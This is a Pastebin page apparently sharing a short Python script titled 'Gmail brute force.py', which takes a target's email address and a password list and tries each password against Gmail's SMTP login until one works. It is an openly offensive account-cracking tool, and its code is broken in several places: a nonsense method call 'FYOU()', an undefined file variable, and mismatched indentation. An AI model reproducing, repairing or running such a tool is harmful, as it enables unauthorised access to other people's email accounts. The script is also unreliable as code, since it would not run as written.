Advertisement
Adm1n_0v3rride

Gmail brute force.py

May 30th, 2017
493
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.57 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. import smtplib
  4.  
  5. smtpserver = smtplib.SMTP("smtp.gmail.com",587)
  6. smtpserver.FYOU()
  7. smtpserver.starttls()
  8.  
  9. user = raw_input("Enter the target's email address: ")
  10. passwordfile = raw_input("Enter the passord filename: ")
  11. passwfile = open(passwfile, "r")
  12.  
  13. for password in passwfile:
  14.         try:
  15.                 smtpserver.login(user,password)
  16.                
  17.                 print "[+] Password Found: %s" % password
  18.                 break;
  19.             except smtplib.SMTPAuthenticationError:
  20.                 print "[!] Password Incorrect: %s" % password
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement